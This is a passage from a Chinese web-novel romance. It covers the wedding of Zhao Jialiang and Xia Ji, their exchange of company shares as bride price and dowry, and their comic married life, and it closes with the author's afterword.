因此,机缘巧合下继承了王静女士所有理想和衣钵的夏季在王老眼中自然就十分眉清目秀了。 虽然夏季明白王家人之所以会对自己这么好是因为王静女士的缘故,但什么原因并不重要,重要的是他们的目标相同,理想一致。他们能够成为一家人,又何尝不是冥冥之中的一种命中注定呢? 王今安叹了口气,“外公这辈子没有在婚礼上给孩子致词过,听外婆说,他上次这么郑重的背稿件还是第一次去国外XX大学代表中国科学家作学术分享会的时候。” 夏季笑笑,“在他老人家心目中,我比国外的学术分享会重要。” 在王老苦读背诵的时候,赵嘉良也没有闲着。 作为今天的新郎官,赵嘉良在流程中也有发言环节。虽然俩人所有的恋爱经过在他心里都已经倒背如流,但怎么能在台上说的让大家都羡慕才是重点。为此,赵嘉良特地让赵氏公关部里最有才华的几个文案耗时一个星期,写了整整八千字的恋爱心路历程。 由于写的太长,抒情等心理描写太多,赵嘉良也得挑着背。 老胡闲着没事儿坐在台前围观他背书的时候忍不住说,“我看你这背书的神态表情和东一眼西一眼的记忆方式,跟我儿子一样。” 赵嘉良一边嘴上喃喃的,一边抽空问,“你儿子读书很好?” 老胡嘿嘿一笑,“年年倒数第一。” “我靠,你别乌鸦嘴妨碍我背稿子。”不过转念一想,赵嘉良又乐了,“你儿子成绩这么差以后考不上大学咋办?” “以前我工作忙,一年见不着孩子一次,让他在家里无法无天了。如今也算是因祸得福,现在有时间成天盯着他念书了。你别说,我这在家盯了半个月,还真有点作用。” “原来稳定倒数第一,这次月考倒数第三啦!” 赵嘉良张了张嘴想打击一下对方的骄傲心情,不过转念一想自己当年读书的时候也是稳定倒数前三,后面去了国外留学才真正开始用心学习,如今不一样混的很好? “啊,那挺好,你多盯个几年,说不定能到年纪前三呢。” 于是等时间差不多了,夏季过来找赵嘉良去干正事儿的时候正看到那家伙跟老胡一起坐在主桌上不知在聊些什么。 待他走近些却听到自家那傻狍子大大咧咧的说,“老胡你别光自己吃,给我也剥个橘子。真是背的我口干舌燥的” 看着老胡用一只手艰难的给四肢健全的男人剥橘子,夏季拳头硬了。 再跟老胡打过招呼之后,他把赵嘉良薅走了。 但是对于夏季质疑其“不体贴残障人士”的指控,赵嘉良不以为意。 “宝贝儿你真的是想多了。老胡是什么人呐?那是咱们的国之栋梁,是你们这种文弱学术分子的保护伞。人家的心理素质那都是入行之前就经过层层选拔,专业训练的,怎么会因为我多嘴问了几句伤势,又让剥了几个橘子而道心破碎?”赵嘉良的想法其实很简单,“再说了,我以前在国外念书的时候,那边的老师都提倡用平等的目光看待所有人。也包括残疾人。” “不是有个很著名的作家说过他跟他的残疾人好友的故事吗?你不要歧视残疾人,就像往常那样,该怎么对待就怎么对待,你拿他当以前一样看待,他反而心里会更舒服。” 夏季冷冷一笑,“看不出来你跟老胡关心这么好?你以前会使唤他给你剥橘子?” 以前还真没干过这事儿的赵嘉良摸了摸鼻子,“今时不同往日嘛” 但不管怎么说,婚礼前夕的最后准备总是难免令人紧张。 夏季虽然面上不显,但是他很不介意把自己的情绪“分享”一些给赵嘉良。 随着时间的推移,宾客陆续到场之后,夏季把赵嘉良拽到了休息室,在休息室的茶几上放着厚厚的一叠文件。 “签了。”夏季将一直签字笔塞到对方手里,冲他挑了挑下巴。 已经没有更多东西能给予的赵嘉良有些摸不着头脑,但还是依言拿起笔准备去签字,并一边调笑道,“哇,这是要让我签什么?该不会是卖身契吧?” 他这话还没说完,就已经注意到了文件标题上硕大的“股权转让书”五个大字。 “宝宝,你这是什么意思啊?”拿起那叠文件,赵嘉良的手有些微微颤抖,“我当着全京市那么多有头有脸的人说了,要把赵氏的股份全部给你当作彩礼。你这转回给我,这是要退彩礼吗?” 其实领了证之后,按理说赵嘉良应该什么都不怕的。但华国人刻在骨子里的传统还是让他觉得没有办婚礼昭告天下,这婚就没结完,因此夏季就有反悔的余地。 零秒猜出他想法的夏季其实蛮无奈的。 “阿良,咱们都在婚礼现场了,你觉得我能是什么意思?我今天早上六点不到就起床化妆更衣,忙了整整一天,你觉得我会跑路吗?” “那你这”赵嘉良还是有些不放心。 但夏季却说,“外面的人不都说男人的钱在哪里,爱就在哪里吗?我也是男人,我也想证明一下,不行吗?” 赵嘉良和夏季的这场婚礼关注度在近期的京圈算是相当之高了,甚至因为夏季那纠结的出身关系,甚至还有些早年被夏季点名批评过的狗仔也混迹在宾客中试图搞点一手照片和消息。 虽然夏季不混娱乐圈,但他本人因为参加过一次综艺后在这个“颜值即正义”的圈子中小有名气。甚至在夏季自己都不知道的情况下,他还有了一波粉丝群体。不过因为夏季明确表示过他不喜欢物理不好的人,所以这个这个粉丝群体的学历要求高的有点离谱了。 而身为夏季同母异父亲弟弟的夏荣此次却收到了请柬。 虽然他的座次只在最远处的一个角落。但他的到场,也是引来了不少狗仔的关注。 夏季本来是完全没有要让夏荣进门的想法。 但跟在两位主子身边劳苦功高的阿久跟赵嘉良求情,说自己最近谈对象了开销大手头紧。但阿久这种混子型手下以前都是不走赵氏公账,属于赵嘉良私人助理的员工都是他自己开工资。知道老板现在妻管严,压根儿给自己涨不起工资的阿久说他卖夏荣行踪隐私挣了不少,想靠夏荣挣钱后,也不知道赵嘉良是怎么跟夏季说的,最后他俩还真给夏荣发了请帖让人进门了。 而同样是夏家平辈子嗣的婚礼。 夏燃,夏季,夏荣三人的婚礼也难保不被人们拿出来作比较。 这三场婚礼中,唯有他夏荣的婚礼是与爱情无关,最终以离婚收场。而没有爱情的婚礼,其用心程度更是远远不及另外两场。这是宾客们一进门就能感受到的。 “只可惜这婚礼排场再大又如何?这酒店钱,婚庆钱全部都是人家夏二少掏的。” “所以说这恋爱脑就是脑残,要不得啊。你们等着瞧吧,赵夏两家曾经的经历,都足以说明单方面的付出是不会有好下场的。我赌不出三年,他俩一定出问题!男人手上没有资本,就是自寻死路!” 这些类似的话,私下里有很多。 站在门前帮着招呼客人的阿久听得多了也忍不住打起了哈欠。 他最开始的时候也是坚决反对赵总将所有资产全部打包转给夏少的,不过如今他也是想明白了,自家那个能跟狗仔高价还价的老板就算现在没钱,不代表他永远没钱。阿久更相信,不出三年,他的老板一定能重新变有钱! 不过让阿久没想到的是,他家赵总重新变有钱压根没花三年,甚至三小时都没用到~《 》 第93章【终章】 第93章 如今整个大环境的结婚率低下不仅影响的是普通人群体, 也包括上层群体。放眼数过去,近几年能够出圈的世纪婚礼甚至都没几次了。因此,这场打着“豪门伦理剧”标签的婚礼也是格外引人注意。 “宝贝你怎么还放狗仔进来啊?”赵嘉良看着记者席那边几个略显眼熟的面孔, 有点不高兴的摸了摸鼻子, 总觉得这些不入流的家伙拉低了自己婚礼的档次。 夏季却是不置可否的笑笑,“工作无贵贱。而且” 之前夏季在公众场合怼喻馨的时候说了不少内娱狗仔战斗力太差的言论,搞得这些家伙道心破碎, 这段时间倒是非常的卖力干活。夏季甚至觉得自家那些除了涉及老胡调查范畴不能播的内容之外,都已经被这些狗仔扒了个底儿掉。也就得亏他是个私生活乏善可陈的学术分子,跟他就是自讨苦吃。但老是被这帮渴望“证明自我”的家伙盯着,饶是夏季这种心气儿高的人有时候也不得不承认, 能深耕狗仔这行的神人不少。甚至有些人的信念感甚至让夏季都感到自愧不如,所以夏季才借着这次的机会给了几个特别是“神”的狗仔发了媒体邀请函。 但当着赵嘉良的面, 他自然不会说出这些心思。 “而且你都给夏荣发请帖了放过他吧,他真榨不出多少油水了。” 夏季话没说完, 但赵嘉良老脸一红, 闷闷道, “外面人都说我是个吃软饭的” “傻逼。”夏季笑骂了他一句,但并没有因此而生气。 只是辛苦了小夏影帝来参加一次婚礼如同坐牢,毕竟单开一桌, 供狗仔兄弟们近距离拍摄还能现场采访的事情以前是大家想都不敢想的~ 而这场难得的京市世纪婚礼在GW酒店顶层的空中花园举行,半开放式的的外场进行仪式, 内场则供来宾好吃好喝。 当慈爱的神父庄重的询问两位新人是否“无论贫穷, 疾病,困苦都愿携手相伴,直至死亡将他们分开”时,两人的回答是一致的。 而那些曾经, 只是观望这段婚姻的人大多有着更现实的目的。 只是在婚礼仪式的流程结束,长辈致辞完毕之后,夏季同时宣布了一个出乎所有人意料的决定。他将如今已经完全重组了前赵氏夏氏的新赵氏公司的所有股份,以“嫁妆”的形式全部带回了这个新组建的家庭。并且以“赵嘉良更擅长经营”为由将自己名下的所有公司股份以3.14元的价格转让给了赵嘉良。 也就是说,从下一个工作日起,赵嘉良便会重新成为那个名正言顺的赵氏最最高话事者。甚至因为夏氏的合并,他的身价保守估计还要比从前上涨个30% 所以当夏季用他那一贯清凌凌的语气宣布这个消息时,他那种仿佛是在说“今天宴席的石斑很新鲜”的态度,着实刺痛了很多人的心。 甚至有些在仪式前还信誓旦旦的打赌说“没钱的男人对金丝雀没有任何吸引力”“等夏季习惯了钱权的快乐迟早踹了赵嘉良”的那些人脸色尤为精彩。特别是之前私下怂恿着要开盘打赌的某位纨绔更是直接暗骂了一句:呸!恋爱脑杀不绝还会传染吗?! 而夏季这突如其来的这波操作也是让台下吃瓜的王今安小小的惊了一下,不过转念一想这人是赵嘉良和夏季很快也就接受了这个现实。只有一日为师终身为父的王老叹息了一声,“哎,在看过这么多血与泪的教训之后,希望这两个聪明人能有个好结果吧。” 但事实证明,赵嘉良和夏季的婚后生活真的稳如老狗。 也是不知道过了多长时间,有好事者重新回首当初赵嘉良“包养”夏季的那段传言起始才骤然意识到夏家的那帮人确实是近几年玩舆论的高手。他们骗过了所有人,而夏季那过于出挑的脸蛋也确实极具误导性,这才让大家都以为所谓的包养是真的。 可可惜真正的夏季并非什么“京圈第一金丝雀”,他根本就是头披着金丝雀皮囊的霸王龙啊! 在婚后的第二年某日,赵嘉良再次独自参加某商务聚会。几杯酒水下肚,男人们吹水聊天的时候,当年那个呼朋唤友说要组团买游艇的老板再次cue到了赵嘉良。 “赵总,去年大家说买游艇的时候您说没钱。那今年赵氏的应收可是增长了11个百分点呐,您今年总该有钱好好犒劳一下自己了吧?” 看着挤眉弄眼的那位,赵嘉良腰板儿笔直道,“游艇太贵了,我老婆也不喜欢那玩意儿,不买。” 有跟赵嘉良相熟的人道,“但我记得赵总读书的时候不是挺爱出海的吗?” 赵嘉良掷地有声道,“我是京圈最穷霸总你们又不是不知道?” 固定给老婆的研究项目爆米这事儿大家都知道,赵嘉良因此还受过相关部门的表彰。但他的给科学院的捐款协议中,捐款额度都是固定的。合并夏氏之后,他理应挣得盆满钵满才对。 可面对大家的疑问,这位佬却露出一个叹息的表情,“我还是挣得不够多。今年的收入只够给我家那位在四川盆地挖个天坑~” 见有些人不甚理解,赵嘉良甚至开始当场兴致勃勃地跟他们科普起了天文相关知识。 这可真是听天书了~ “赵总可真是博闻强识,佩服佩服。” 对于旁人略显尴尬的奉承,赵嘉良说的更起劲儿了,“哪里哪里,对象学历太高也是很苦恼的。为了能跟他有共同话题,生活更和睦我可是恶补了不少天体物理的相关知识。” “我老婆是谁,现在已经是最年轻的硕导啦!昨天他还把他的关门大弟子骂哭了,说他还不如我专业。嘿,不是我吹啊,我现在要是去考研,指不定都能考到他门下呢!” 经过赵嘉良的一番“科普”,这场聚会竟比大家普遍认为的时间更早结束了。 当他志得意满地回到家后,还兴致勃勃地跟夏季吹嘘了一番。夏季挺听了一会儿就有些无语了,“怎么的?你是真要考个研?” 赵嘉良惆怅地往沙发上一瘫,“哎,我要是年轻个五六七八岁的话,我这会儿一定去考研!” 回想了一下五六七八年之前的赵嘉良在干嘛,夏季大惊,“这可不行,咱们家有一个研究星辰大海的就够了,柴米油盐还是得有人负责的。” 男人“噌”的一下从宽大柔软的沙发上弹了起来,那姿势和速度,让夏季不禁有些担心他会闪着腰。 但随即对方就如同恶犬扑食似的扑到他跟前,大声埋怨道,“外面的老总都说你当初就是图我的钱才跟我在一起的,我一直坚信我们的结合是牛顿大人的指引,可你竟然不支持我考研?!你这是背叛物理!” 夏季白了他一眼,“那你考吧,就考我的研究生?考天体物理?” “师生Play吗?”男人眼睛一亮。 “我Play你大爷!”回应他的是一个巴掌。 不过赵嘉良本来就没有继续提高学历的念头,再联想到前几天自家恶龙咆哮的老婆把自己的关门大弟子给骂到泪奔的场景,赵嘉良还是忍不住说,“你的学生虽然笨了点,但毕竟是自己亲自面的,还是好好养~” 这次回应他的是夏季的大力一脚,直接给他踹地上去了。 “你以后跟我学生少来往!” 但不得不说自从结了婚又带了学生之后,夏季身边的人都能明显感觉到他相比以前成熟稳重了许多。 对此,王老询问夏季心境的时候他是这么说的。 “赵嘉良那个圈子的人以前说我金丝雀,离了人活不了。现在他们说我是霸王龙,不吃到人活不了。我反省过了,做人还是应该圆滑一点,毕竟是有家室的人了,应该稳重。”夏季笑了笑,对自己之前无情的毙了好几个航天材料市场化的项目,毫无愧疚之心。不仅如此,他还说,“对了,师兄参加的那个航天项目不是马上要到载人航天阶段了吗?那他上天了,手下的几个学生毕业论文怎么办?要不您让师兄把他们的学生都交给我来指导吧。我一次骂一个可能会显得很凶,一次骂一群应该就好了。” 王老冲他竖了个大拇指,“年轻人就是想法多,相信你以后一定能好好继承我的衣钵,跟你的师兄师姐们一起将咱们师门发扬光大!” 作者有话说: 正文就到这里啦,后面还有两三章的番外。 这个文写的有点不如意,期间经历了三次家人住院陪护,有一半都是在坐医院走廊地板上写完的。 因为自己的心态问题导致中后半段写的有点偏离主旨初衷大纲了。 还是要感谢一直以来看到最后的小伙伴,下本振作起来好好写! [小丑][小丑][小丑]《 》